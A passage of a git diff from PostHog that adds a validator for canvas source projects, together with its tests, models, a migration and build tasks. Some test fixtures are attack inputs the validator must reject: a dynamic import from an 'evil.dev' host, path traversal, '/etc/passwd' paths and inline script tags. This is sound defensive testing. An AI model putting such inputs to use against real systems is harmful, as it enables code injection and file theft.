self._thread_messages(task).get() @@ -273,7 +284,7 @@ def test_header_naming_someone_elses_task_stays_silent(self, _flag): item_id = self._create_dashboard() self._authenticate_as_sandbox() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) + self._publish(item_id, {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) self.assertFalse(self._thread_messages(task).exists()) @@ -285,7 +296,7 @@ def test_session_authenticated_publish_with_header_stays_silent(self, _flag): task = self._create_task() item_id = self._create_dashboard() - response = self.client.patch(self._canvas_url(item_id), {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) + response = self._publish(item_id, {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertFalse(self._thread_messages(task).exists()) @@ -293,7 +304,7 @@ def test_session_authenticated_publish_with_header_stays_silent(self, _flag): def test_publish_without_task_attribution_stays_silent(self): item_id = self._create_dashboard() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) + self._publish(item_id, {"code": "v1"}) TaskThreadMessage = apps.get_model("tasks", "TaskThreadMessage") self.assertFalse(TaskThreadMessage.objects.for_team(self.team.id).exists()) diff --git a/posthog/api/file_system/test/test_canvas_source.py b/posthog/api/file_system/test/test_canvas_source.py new file mode 100644 index 000000000000..d66227a7c1fb --- /dev/null +++ b/posthog/api/file_system/test/test_canvas_source.py @@ -0,0 +1,127 @@ +from django.test import SimpleTestCase + +from parameterized import parameterized + +from posthog.api.file_system.canvas_source import ( + CANVAS_COMPONENT_PATH, + CANVAS_ENTRY_HTML, + MAX_FILE_BYTES, + MAX_SOURCE_FILES, + extract_legacy_code, + has_errors, + synthetic_source_project, + validate_source_project, +) + +CODE = 'import React from "react";\nexport default () =>
hi
;\n' + + +def project(**overrides): + base = { + "schemaVersion": 1, + "files": {CANVAS_COMPONENT_PATH: CODE}, + "entryHtml": CANVAS_ENTRY_HTML, + "dependencies": {"react": "19.0.0"}, + "canvasSdkVersion": "0.1.0", + } + base.update(overrides) + return base + + +class TestCanvasSourceAdapter(SimpleTestCase): + def test_synthetic_project_of_legacy_canvas_validates_and_round_trips(self): + # The read → edit → publish loop must accept its own output: a project + # synthesized from a legacy canvas has to pass validation and reduce back + # to the identical code. + synthetic = synthetic_source_project({"code": CODE}) + self.assertEqual(extract_legacy_code(synthetic), CODE) + self.assertFalse(has_errors(validate_source_project(synthetic))) + + def test_synthetic_project_of_unpublished_canvas_has_empty_component(self): + synthetic = synthetic_source_project({}) + self.assertEqual(extract_legacy_code(synthetic), "") + self.assertFalse(has_errors(validate_source_project(synthetic))) + + def test_valid_minimal_project_has_no_diagnostics(self): + self.assertEqual(validate_source_project(project()), []) + + @parameterized.expand( + [ + ("wrong_schema_version", project(schemaVersion=2), "unsupported_schema_version"), + ("wrong_entry_html", project(entryHtml="main.html"), "invalid_entry"), + ( + "path_traversal", + project(files={CANVAS_COMPONENT_PATH: CODE, "../escape.tsx": "x"}), + "invalid_path", + ), + ( + "absolute_path", + project(files={CANVAS_COMPONENT_PATH: CODE, "/etc/passwd": "x"}), + "invalid_path", + ), + ( + "backslash_path", + project(files={CANVAS_COMPONENT_PATH: CODE, "src\\win.tsx": "x"}), + "invalid_path", + ), + ("unknown_dependency", project(dependencies={"left-pad": "1.0.0"}), "dependency_not_admitted"), + ( + "dependency_version_drift", + project(dependencies={"react": "18.0.0"}), + "dependency_version_mismatch", + ), + ( + "non_whitelisted_import", + project(files={CANVAS_COMPONENT_PATH: 'import _ from "lodash";\n' + CODE}), + "import_not_allowed", + ), + ( + "dynamic_import", + project(files={CANVAS_COMPONENT_PATH: 'const m = await import("https://evil.dev/x.js");'}), + "forbidden_dynamic_import", + ), + ( + "require_call", + project(files={CANVAS_COMPONENT_PATH: 'const fs = require("fs");'}), + "forbidden_require", + ), + ( + "inline_script_tag", + project(files={CANVAS_COMPONENT_PATH: 'const html = "";'}), + "forbidden_inline_script", + ), + ( + "file_too_large", + project(files={CANVAS_COMPONENT_PATH: "a" * (MAX_FILE_BYTES + 1)}), + "file_too_large", + ), + ( + "too_many_files", + project( + files={ + CANVAS_COMPONENT_PATH: CODE, + **{f"src/f{i}.ts": "x" for i in range(MAX_SOURCE_FILES)}, + } + ), + "too_many_files", + ), + ] + ) + def test_invalid_projects_produce_error_diagnostics(self, _name, candidate, expected_code): + diagnostics = validate_source_project(candidate) + self.assertTrue(has_errors(diagnostics), diagnostics) + self.assertIn(expected_code, [d["code"] for d in diagnostics]) + + def test_direct_network_calls_warn_but_stay_publishable(self): + # fetch() is blocked by the sandbox CSP, not by publish — a comment or + # string mentioning it must not brick a canvas, so it's a warning. + candidate = project(files={CANVAS_COMPONENT_PATH: CODE + 'fetch("/api/x");'}) + diagnostics = validate_source_project(candidate) + self.assertFalse(has_errors(diagnostics)) + self.assertIn("network_fetch", [d["code"] for d in diagnostics]) + + def test_import_diagnostics_carry_file_and_line(self): + candidate = project(files={CANVAS_COMPONENT_PATH: CODE + 'import _ from "lodash";'}) + entry = next(d for d in validate_source_project(candidate) if d["code"] == "import_not_allowed") + self.assertEqual(entry["path"], CANVAS_COMPONENT_PATH) + self.assertEqual(entry["line"], 3) diff --git a/posthog/api/file_system/test/test_canvas_source_api.py b/posthog/api/file_system/test/test_canvas_source_api.py new file mode 100644 index 000000000000..3eacd87af1f7 --- /dev/null +++ b/posthog/api/file_system/test/test_canvas_source_api.py @@ -0,0 +1,256 @@ +from typing import Any, cast + +from posthog.test.base import APIBaseTest +from unittest.mock import patch + +from django.apps import apps + +from rest_framework import status + +from posthog.api.file_system.canvas_source import CANVAS_COMPONENT_PATH, CANVAS_ENTRY_HTML +from posthog.models.file_system.file_system import FileSystem +from posthog.models.oauth import OAuthApplication +from posthog.models.organization import Organization +from posthog.models.team import Team +from posthog.temporal.oauth import ( + ARRAY_APP_CLIENT_ID_DEV, + ARRAY_APP_CLIENT_ID_EU, + ARRAY_APP_CLIENT_ID_US, + create_oauth_access_token_for_user, +) + +CODE_V1 = 'import React from "react";\nexport default () =>
v1
;\n' +CODE_V2 = 'import React from "react";\nexport default () =>
v2
;\n' + + +class TestDesktopCanvasSourceAPI(APIBaseTest): + def setUp(self): + super().setUp() + # Staff gate mirrors the desktop/web file system beta gating. + self.user.is_staff = True + self.user.save() + + def _base_url(self) -> str: + return f"/api/projects/{self.team.id}/desktop_file_system/" + + def _create_channel(self, path: str = "MyChannel") -> str: + response = self.client.post(self._base_url(), {"path": path, "type": "folder"}) + self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) + return cast(str, response.json()["id"]) + + def _create_canvas(self, channel_id: str, name: str = "MyCanvas") -> dict[str, Any]: + response = self.client.post(f"{self._base_url()}canvases/", {"name": name, "channel_id": channel_id}) + self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) + return cast(dict[str, Any], response.json()) + + def _project(self, code: str) -> dict[str, Any]: + return { + "schemaVersion": 1, + "files": {CANVAS_COMPONENT_PATH: code}, + "entryHtml": CANVAS_ENTRY_HTML, + "dependencies": {"react": "19.0.0"}, + "canvasSdkVersion": "0.1.0", + } + + def test_create_read_validate_publish_edit_loop(self): + # The full loop a generic task follows: create a canvas, read its source, + # validate, publish guarded on the empty head, then edit guarded on the + # returned version. Breaking any hand-off breaks agent canvas authoring. + channel_id = self._create_channel() + canvas = self._create_canvas(channel_id) + canvas_id = canvas["id"] + self.assertEqual(canvas["name"], "MyCanvas") + self.assertEqual(canvas["channel_id"], channel_id) + self.assertIsNone(canvas["current_version_id"]) + + source = self.client.get(f"{self._base_url()}{canvas_id}/canvas/source/").json() + self.assertIsNone(source["current_version_id"]) + self.assertEqual(source["project"]["files"][CANVAS_COMPONENT_PATH], "") + self.assertEqual(source["project"]["entryHtml"], CANVAS_ENTRY_HTML) + + validated = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/validate/", {"project": self._project(CODE_V1)}, format="json" + ).json() + self.assertTrue(validated["valid"], validated) + + published = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", + {"project": self._project(CODE_V1), "prompt": "first build", "expected_current_version_id": None}, + format="json", + ) + self.assertEqual(published.status_code, status.HTTP_200_OK, published.json()) + v1 = published.json()["current_version_id"] + self.assertEqual(published.json()["canvas"]["version_count"], 1) + + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["code"], CODE_V1) + self.assertEqual(meta["currentVersionId"], v1) + self.assertEqual(meta["versions"][0]["prompt"], "first build") + # Creation-time meta keys survive the publish merge. + self.assertEqual(meta["channelId"], channel_id) + + edited = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", + {"project": self._project(CODE_V2), "expected_current_version_id": v1}, + format="json", + ) + self.assertEqual(edited.status_code, status.HTTP_200_OK, edited.json()) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual([v["code"] for v in meta["versions"]], [CODE_V1, CODE_V2]) + + source = self.client.get(f"{self._base_url()}{canvas_id}/canvas/source/").json() + self.assertEqual(source["project"]["files"][CANVAS_COMPONENT_PATH], CODE_V2) + self.assertEqual(source["current_version_id"], meta["currentVersionId"]) + + def test_stale_guarded_source_publish_conflicts_and_leaves_canvas_untouched(self): + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", {"project": self._project(CODE_V1)}, format="json" + ) + head = cast(dict, FileSystem.objects.get(id=canvas_id).meta)["currentVersionId"] + + response = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", + {"project": self._project(CODE_V2), "expected_current_version_id": "not-the-head"}, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_409_CONFLICT, response.json()) + self.assertEqual(response.json()["code"], "version_conflict") + self.assertEqual(response.json()["current_version_id"], head) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["code"], CODE_V1) + self.assertEqual(len(meta["versions"]), 1) + + def test_invalid_project_publish_returns_diagnostics_and_publishes_nothing(self): + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + + bad_project = self._project('import _ from "lodash";\n' + CODE_V1) + response = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", {"project": bad_project}, format="json" + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) + body = response.json() + self.assertEqual(body["code"], "invalid_source_project") + self.assertIn("import_not_allowed", [d["code"] for d in body["diagnostics"]]) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertNotIn("code", meta) + self.assertNotIn("versions", meta) + + def test_validate_reports_errors_without_mutating_the_canvas(self): + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + before = FileSystem.objects.get(id=canvas_id).meta + + response = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/validate/", + {"project": self._project('const m = await import("https://x.dev/e.js");')}, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) + self.assertFalse(response.json()["valid"]) + self.assertEqual(FileSystem.objects.get(id=canvas_id).meta, before) + + def test_validate_rejects_malformed_body_with_400(self): + # Wiring guard: the request serializer is actually enforced. + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + + response = self.client.post(f"{self._base_url()}{canvas_id}/canvas/validate/", {}, format="json") + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) + + def test_canvases_list_scopes_to_channel_and_team(self): + channel_id = self._create_channel("ChannelA") + other_channel_id = self._create_channel("ChannelB") + in_channel = self._create_canvas(channel_id, name="In A")["id"] + self._create_canvas(other_channel_id, name="In B") + + # A same-path canvas in another team must never leak into this team's list. + other_org = Organization.objects.create(name="other") + other_team = Team.objects.create(organization=other_org, name="other") + FileSystem.objects.create(team=other_team, path="ChannelA/Foreign", type="dashboard", surface="desktop") + + everything = self.client.get(f"{self._base_url()}canvases/").json() + self.assertEqual({c["name"] for c in everything}, {"In A", "In B"}) + + filtered = self.client.get(f"{self._base_url()}canvases/", {"channel_id": channel_id}).json() + self.assertEqual([c["id"] for c in filtered], [in_channel]) + + def test_create_canvas_rejects_unknown_channel(self): + response = self.client.post( + f"{self._base_url()}canvases/", + {"name": "Orphan", "channel_id": "00000000-0000-0000-0000-000000000000"}, + ) + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) + + def test_non_uuid_channel_id_is_a_client_error_not_a_500(self): + # Agents pass arbitrary strings; a malformed id must map to 400/404, not + # bubble the UUID-field ValidationError as a 500. + create = self.client.post(f"{self._base_url()}canvases/", {"name": "Orphan", "channel_id": "not-a-uuid"}) + self.assertEqual(create.status_code, status.HTTP_400_BAD_REQUEST, create.content) + + listed = self.client.get(f"{self._base_url()}canvases/", {"channel_id": "not-a-uuid"}) + self.assertEqual(listed.status_code, status.HTTP_404_NOT_FOUND, listed.content) + + def test_source_endpoints_reject_non_dashboard_rows(self): + channel_id = self._create_channel() + + response = self.client.get(f"{self._base_url()}{channel_id}/canvas/source/") + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) + + def test_legacy_single_file_publish_route_is_removed(self): + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + + response = self.client.patch(f"{self._base_url()}{canvas_id}/canvas/", {"code": CODE_V1}) + + self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) + self.assertNotIn("code", cast(dict, FileSystem.objects.get(id=canvas_id).meta)) + + def _authenticate_as_sandbox(self) -> None: + for client_id in (ARRAY_APP_CLIENT_ID_DEV, ARRAY_APP_CLIENT_ID_US, ARRAY_APP_CLIENT_ID_EU): + OAuthApplication.objects.get_or_create( + client_id=client_id, + defaults={ + "name": "Array Test App", + "client_type": OAuthApplication.CLIENT_PUBLIC, + "authorization_grant_type": OAuthApplication.GRANT_AUTHORIZATION_CODE, + "redirect_uris": "https://app.posthog.com/callback", + "algorithm": "RS256", + }, + ) + token = create_oauth_access_token_for_user(self.user, self.team.id, scopes="full") + self.client.logout() + self.client.credentials(HTTP_AUTHORIZATION=f"Bearer {token}") + + @patch("products.tasks.backend.facade.api.posthoganalytics.feature_enabled", return_value=True) + def test_first_source_publish_from_task_announces_in_thread(self, _flag): + # The new publish path must announce a canvas's first publish in the + # generating task's thread exactly like the legacy PATCH path does. + Task = apps.get_model("tasks", "Task") + task = Task.objects.create( + team=self.team, + title="Generate canvas", + description="", + origin_product=Task.OriginProduct.USER_CREATED, + created_by=self.user, + ) + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + self._authenticate_as_sandbox() + + self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", + {"project": self._project(CODE_V1)}, + format="json", + HTTP_X_POSTHOG_TASK_ID=str(task.id), + ) + + TaskThreadMessage = apps.get_model("tasks", "TaskThreadMessage") + self.assertEqual(TaskThreadMessage.objects.for_team(self.team.id).filter(task=task).count(), 1) diff --git a/posthog/api/test/test_canvas_artifacts.py b/posthog/api/test/test_canvas_artifacts.py new file mode 100644 index 000000000000..834fa59334bc --- /dev/null +++ b/posthog/api/test/test_canvas_artifacts.py @@ -0,0 +1,87 @@ +import hashlib + +from unittest.mock import MagicMock, patch + +from django.core import signing +from django.http import Http404 +from django.test import RequestFactory, SimpleTestCase, override_settings + +from posthog.api.canvas_artifacts import _read_token, canvas_artifact, create_canvas_artifact_token + + +class TestCanvasArtifacts(SimpleTestCase): + @override_settings(CANVAS_ARTIFACT_SIGNING_KEYS=["new-key", "old-key"]) + def test_tokens_rotate_without_invalidating_existing_urls(self) -> None: + claims = {"team_id": 1, "canvas_id": "canvas", "build_id": "build"} + token = signing.TimestampSigner(key="old-key", salt="posthog.canvas.artifact.v1").sign_object( + claims, compress=True + ) + + self.assertEqual(_read_token(token), claims) + + @override_settings(CANVAS_ARTIFACT_SIGNING_KEYS=["key"]) + @patch("posthog.api.canvas_artifacts.object_storage.read_bytes", return_value=b"body") + @patch("posthog.api.canvas_artifacts.CanvasBuild.objects.for_team") + def test_only_manifest_listed_files_are_served(self, for_team: MagicMock, read_bytes: MagicMock) -> None: + build = MagicMock( + artifact_object_prefix="canvas_artifact/team_1/canvas/build", + manifest={ + "assets": [ + { + "path": "index.html", + "contentType": "text/html; charset=utf-8", + "contentHash": hashlib.sha256(b"body").hexdigest(), + } + ] + }, + ) + for_team.return_value.filter.return_value.first.return_value = build + token = create_canvas_artifact_token( + MagicMock( + team_id=1, canvas_id="00000000-0000-0000-0000-000000000001", id="00000000-0000-0000-0000-000000000002" + ) + ) + + response = canvas_artifact(RequestFactory().get("/"), token or "", "index.html") + + self.assertEqual(response.content, b"body") + self.assertEqual(response["Content-Disposition"], "inline") + self.assertEqual(response["X-Content-Type-Options"], "nosniff") + self.assertEqual(response["Content-Security-Policy"].split(";")[0], "default-src 'none'") + with self.assertRaises(Http404): + canvas_artifact(RequestFactory().get("/"), token or "", "source.ts") + read_bytes.assert_called_once() + + @override_settings(CANVAS_ARTIFACT_SIGNING_KEYS=["key"]) + @patch("posthog.api.canvas_artifacts.object_storage.read_bytes", return_value=b"tampered") + @patch("posthog.api.canvas_artifacts.CanvasBuild.objects.for_team") + def test_corrupt_stored_artifact_is_not_served(self, for_team: MagicMock, _read_bytes: MagicMock) -> None: + for_team.return_value.filter.return_value.first.return_value = MagicMock( + artifact_object_prefix="canvas_artifact/team_1/canvas/build", + manifest={"assets": [{"path": "index.html", "contentHash": hashlib.sha256(b"safe").hexdigest()}]}, + ) + token = create_canvas_artifact_token( + MagicMock( + team_id=1, canvas_id="00000000-0000-0000-0000-000000000001", id="00000000-0000-0000-0000-000000000002" + ) + ) + + with self.assertRaises(Http404): + canvas_artifact(RequestFactory().get("/"), token or "", "index.html") + + @override_settings(CANVAS_ARTIFACT_SIGNING_KEYS=[]) + def test_artifact_urls_fail_closed_without_signing_keys(self) -> None: + self.assertIsNone(create_canvas_artifact_token(MagicMock())) + + @override_settings( + DEBUG=False, + TEST=False, + CANVAS_ARTIFACT_SIGNING_KEYS=["a-production-signing-key-at-least-32-bytes"], + CANVAS_ARTIFACT_ORIGIN="https://usercontent.example", + ) + def test_production_artifacts_are_not_served_from_the_application_origin(self) -> None: + build = MagicMock(team_id=1, canvas_id="canvas", id="build") + token = create_canvas_artifact_token(build) + + with self.assertRaises(Http404): + canvas_artifact(RequestFactory().get("/", HTTP_HOST="app.example"), token or "", "index.html") diff --git a/posthog/migrations/1267_canvas_source_versions_and_builds.py b/posthog/migrations/1267_canvas_source_versions_and_builds.py new file mode 100644 index 000000000000..b4d381f9e7ec --- /dev/null +++ b/posthog/migrations/1267_canvas_source_versions_and_builds.py @@ -0,0 +1,117 @@ +# Generated by Django 5.2.14 on 2026-07-26 09:29 + +import django.utils.timezone +import django.db.models.deletion +from django.conf import settings +from django.db import migrations, models + +import posthog.uuidt + + +class Migration(migrations.Migration): + dependencies = [ + ("posthog", "1266_comment_convo_content_trgm"), + ] + + operations = [ + migrations.CreateModel( + name="CanvasSourceVersion", + fields=[ + ( + "id", + models.UUIDField(default=posthog.uuidt.uuid7, editable=False, primary_key=True, serialize=False), + ), + ("source_hash", models.CharField(max_length=64)), + ("source_object_key", models.TextField()), + ("source_size", models.PositiveIntegerField()), + ("task_id", models.UUIDField(blank=True, null=True)), + ("task_run_id", models.UUIDField(blank=True, null=True)), + ("prompt", models.TextField(blank=True, null=True)), + ("legacy_version_id", models.CharField(blank=True, max_length=64, null=True)), + ("created_at", models.DateTimeField(default=django.utils.timezone.now)), + ( + "canvas", + models.ForeignKey( + on_delete=django.db.models.deletion.CASCADE, + related_name="canvas_source_versions", + to="posthog.filesystem", + ), + ), + ( + "created_by", + models.ForeignKey( + blank=True, + db_constraint=False, + null=True, + on_delete=django.db.models.deletion.SET_NULL, + to=settings.AUTH_USER_MODEL, + ), + ), + ( + "parent_version", + models.ForeignKey( + blank=True, + null=True, + on_delete=django.db.models.deletion.SET_NULL, + related_name="+", + to="posthog.canvassourceversion", + ), + ), + ( + "team", + models.ForeignKey( + db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="posthog.team" + ), + ), + ], + ), + migrations.CreateModel( + name="CanvasBuild", + fields=[ + ( + "id", + models.UUIDField(default=posthog.uuidt.uuid7, editable=False, primary_key=True, serialize=False), + ), + ("status", models.CharField(default="queued", max_length=16)), + ("artifact_object_prefix", models.TextField(blank=True, null=True)), + ("integrity", models.CharField(blank=True, max_length=64, null=True)), + ("diagnostics", models.JSONField(blank=True, default=list)), + ("manifest", models.JSONField(blank=True, null=True)), + ("pinned", models.BooleanField(default=False)), + ("attempt_count", models.PositiveIntegerField(default=0)), + ("lease_expires_at", models.DateTimeField(blank=True, null=True)), + ("created_at", models.DateTimeField(default=django.utils.timezone.now)), + ("finished_at", models.DateTimeField(blank=True, null=True)), + ( + "canvas", + models.ForeignKey( + on_delete=django.db.models.deletion.CASCADE, + related_name="canvas_builds", + to="posthog.filesystem", + ), + ), + ( + "team", + models.ForeignKey( + db_constraint=False, on_delete=django.db.models.deletion.CASCADE, to="posthog.team" + ), + ), + ( + "source_version", + models.ForeignKey( + on_delete=django.db.models.deletion.CASCADE, + related_name="builds", + to="posthog.canvassourceversion", + ), + ), + ], + ), + migrations.AddIndex( + model_name="canvassourceversion", + index=models.Index(fields=["canvas", "-created_at"], name="canvas_source_version_recency"), + ), + migrations.AddIndex( + model_name="canvasbuild", + index=models.Index(fields=["canvas", "-created_at"], name="canvas_build_recency"), + ), + ] diff --git a/posthog/models/__init__.py b/posthog/models/__init__.py index 1e8d74a3b30d..30c54c5e5c94 100644 --- a/posthog/models/__init__.py +++ b/posthog/models/__init__.py @@ -27,6 +27,7 @@ from products.event_definitions.backend.models import EventProperty from .role_external_reference import RoleExternalReference from .file_system.file_system import FileSystem +from .file_system.canvas_build import CanvasBuild, CanvasSourceVersion from .file_system.folder_context_generation import FileSystemFolderContextGeneration from .file_system.folder_instructions import FileSystemFolderInstructions from .file_system.file_system_view_log import FileSystemViewLog @@ -110,6 +111,8 @@ "RoleExternalReference", "FileSystem", "FileSystemFolderContextGeneration", + "CanvasBuild", + "CanvasSourceVersion", "FileSystemFolderInstructions", "FileSystemViewLog", "PersistedFolder", diff --git a/posthog/models/file_system/canvas_build.py b/posthog/models/file_system/canvas_build.py new file mode 100644 index 000000000000..6fc72709b848 --- /dev/null +++ b/posthog/models/file_system/canvas_build.py @@ -0,0 +1,87 @@ +from django.db import models +from django.utils import timezone + +from posthog.models.file_system.file_system import FileSystem +from posthog.models.scoping.root_mixin import TeamScopedRootMixin +from posthog.models.utils import UUIDModel + + +class CanvasSourceVersion(TeamScopedRootMixin, UUIDModel): + """One immutable published source project of a canvas. + + The project content itself lives in object storage (private, content + addressed); this row is the control-plane record: pointers, hashes, + attribution, and lineage. Rows are append-only — a publish never rewrites + an existing version. The canvas's live pointer (`currentSourceVersionId`) + stays in the desktop file-system row's meta during the migration; these + tables own the normalized lifecycle. + """ + + # db_constraint=False: a real FK constraint to the hot posthog_team table + # takes a parent lock during migration; scoping is enforced app-side. + team = models.ForeignKey("posthog.Team", on_delete=models.CASCADE, db_constraint=False) + canvas = models.ForeignKey(FileSystem, on_delete=models.CASCADE, related_name="canvas_source_versions") + parent_version = models.ForeignKey("self", on_delete=models.SET_NULL, null=True, blank=True, related_name="+") + + # Verifiable content address: hex SHA-256 of the canonical serialized project. + source_hash = models.CharField(max_length=64) + # Immutable object-storage key of the serialized project (private namespace). + source_object_key = models.TextField() + # Size in bytes of the canonical (uncompressed) serialization. + source_size = models.PositiveIntegerField() + + # Attribution: the task/run that published this version, when one did. + task_id = models.UUIDField(null=True, blank=True) + task_run_id = models.UUIDField(null=True, blank=True) + prompt = models.TextField(null=True, blank=True) + # Id of the legacy meta.versions entry created by the same publish, so + # in-meta history and normalized rows stay correlatable during rollout. + legacy_version_id = models.CharField(max_length=64, null=True, blank=True) + + created_by = models.ForeignKey( + "posthog.User", on_delete=models.SET_NULL, null=True, blank=True, db_constraint=False + ) + created_at = models.DateTimeField(default=timezone.now) + + class Meta: + indexes = [models.Index(fields=["canvas", "-created_at"], name="canvas_source_version_recency")] + + +class CanvasBuild(TeamScopedRootMixin, UUIDModel): + """Lifecycle record of one build of a canvas source version. + + A failed build records diagnostics but never replaces the canvas's + last-known-good artifact; the live pointer (`publishedBuildId` in the + canvas's meta) only advances when a build completes and its source version + is still the canvas's current head. + """ + + STATUS_QUEUED = "queued" + STATUS_BUILDING = "building" + STATUS_READY = "ready" + STATUS_FAILED = "failed" + STATUSES = [STATUS_QUEUED, STATUS_BUILDING, STATUS_READY, STATUS_FAILED] + + team = models.ForeignKey("posthog.Team", on_delete=models.CASCADE, db_constraint=False) + canvas = models.ForeignKey(FileSystem, on_delete=models.CASCADE, related_name="canvas_builds") + source_version = models.ForeignKey(CanvasSourceVersion, on_delete=models.CASCADE, related_name="builds") + + status = models.CharField(max_length=16, default=STATUS_QUEUED) + # Object-storage prefix the immutable artifact files live under (set when ready). + artifact_object_prefix = models.TextField(null=True, blank=True) + # Hex SHA-256 over the artifact manifest — the integrity anchor for loaders. + integrity = models.CharField(max_length=64, null=True, blank=True) + # Bounded structured diagnostics (full logs belong in log storage, not here). + diagnostics = models.JSONField(default=list, blank=True) + # The frozen artifact manifest (entry, assets, versions, capabilities). + manifest = models.JSONField(null=True, blank=True) + # Pinned builds are retained for the lifetime of the canvas. + pinned = models.BooleanField(default=False) + attempt_count = models.PositiveIntegerField(default=0) + lease_expires_at = models.DateTimeField(null=True, blank=True) + + created_at = models.DateTimeField(default=timezone.now) + finished_at = models.DateTimeField(null=True, blank=True) + + class Meta: + indexes = [models.Index(fields=["canvas", "-created_at"], name="canvas_build_recency")] diff --git a/posthog/settings/__init__.py b/posthog/settings/__init__.py index d3281dcdd4c1..fc9056f2a34c 100644 --- a/posthog/settings/__init__.py +++ b/posthog/settings/__init__.py @@ -19,6 +19,7 @@ from posthog.settings.logs import * from posthog.settings.base_variables import * +from posthog.settings.canvas import * from posthog.settings.access import * from posthog.settings.activity_log import * diff --git a/posthog/settings/canvas.py b/posthog/settings/canvas.py new file mode 100644 index 000000000000..767fb073d9eb --- /dev/null +++ b/posthog/settings/canvas.py @@ -0,0 +1,9 @@ +import os + +from posthog.settings.base_variables import DEBUG, TEST +from posthog.settings.utils import get_list + +CANVAS_ARTIFACT_ORIGIN = os.getenv("CANVAS_ARTIFACT_ORIGIN", "").rstrip("/") +CANVAS_ARTIFACT_SIGNING_KEYS = get_list(os.getenv("CANVAS_ARTIFACT_SIGNING_KEYS", "")) +if (DEBUG or TEST) and not CANVAS_ARTIFACT_SIGNING_KEYS: + CANVAS_ARTIFACT_SIGNING_KEYS = ["canvas-artifact-development-key-32-bytes"] diff --git a/posthog/settings/web.py b/posthog/settings/web.py index 00edcfcec79b..e2017c3368f9 100644 --- a/posthog/settings/web.py +++ b/posthog/settings/web.py @@ -646,6 +646,9 @@ def static_varies_origin(headers, path, url): # Account.slack_summary_cadence and AccountChannelSummary.cadence share the same # daily/weekly/monthly choice set; pin one name for both. "SlackSummaryCadenceEnum": ["daily", "weekly", "monthly"], + # Canvas source diagnostics and marketing-analytics UTM issues share the same + # error/warning severity pair; pin one shared name for the choice set. + "DiagnosticSeverityEnum": ["error", "warning"], # ReviewHog findings expose the same priority set on two fields (effective_priority + # reviewer_priority); pin one shared name for the choice set. "ReviewIssuePriorityEnum": ["must_fix", "should_fix", "consider"], diff --git a/posthog/tasks/__init__.py b/posthog/tasks/__init__.py index 78860776c846..01a403d29e1f 100644 --- a/posthog/tasks/__init__.py +++ b/posthog/tasks/__init__.py @@ -4,6 +4,7 @@ activity_log, async_migrations, calculate_cohort, + canvas_build, demo_create_data, demo_reset_master_team, early_access_feature, @@ -30,6 +31,7 @@ "activity_log", "async_migrations", "calculate_cohort", + "canvas_build", "demo_create_data", "demo_reset_master_team", "early_access_feature", diff --git a/posthog/tasks/canvas_build.py b/posthog/tasks/canvas_build.py new file mode 100644 index 000000000000..995f108fd3ff --- /dev/null +++ b/posthog/tasks/canvas_build.py @@ -0,0 +1,35 @@ +import structlog +from celery import shared_task + +from posthog.exceptions_capture import capture_exception +from posthog.tasks.utils import CeleryQueue + +logger = structlog.get_logger(__name__) + + +@shared_task( + ignore_result=True, queue=CeleryQueue.DEFAULT.value, max_retries=3, autoretry_for=(Exception,), retry_backoff=True +) +def process_canvas_build(team_id: int, build_id: str) -> None: + """Run one queued canvas build (idempotent — finished builds are a no-op).""" + from posthog.api.file_system.canvas_build_service import ( + run_canvas_build, # noqa: PLC0415 — keeps the API layer off the Celery import path + ) + + run_canvas_build(team_id, build_id) + + +@shared_task(ignore_result=True, queue=CeleryQueue.DEFAULT.value) +def cleanup_canvas_builds() -> None: + """Apply the canvas artifact retention policy (daily).""" + from posthog.api.file_system.canvas_build_service import ( # noqa: PLC0415 — keeps the API layer off the Celery import path + cleanup_canvas_builds as run_cleanup, + ) + + try: + pruned = run_cleanup() + if pruned: + logger.info("canvas_builds_pruned", count=pruned) + except Exception as error: + logger.exception("canvas_build_cleanup_failed", error=str(error)) + capture_exception(error, additional_properties={"task": "cleanup_canvas_builds"}) diff --git a/posthog/tasks/scheduled.py b/posthog/tasks/scheduled.py index bc4ac9c23a20..3cd97af8da51 100644 --- a/posthog/tasks/scheduled.py +++ b/posthog/tasks/scheduled.py @@ -12,6 +12,7 @@ from posthog.tasks.ai_observability_usage_report import send_ai_observability_usage_reports from posthog.tasks.auth_token_cache_verification import verify_and_fix_auth_token_cache_task from posthog.tasks.calculate_cohort import finalize_cohort_backfill_runs +from posthog.tasks.canvas_build import cleanup_canvas_builds from posthog.tasks.email import ( 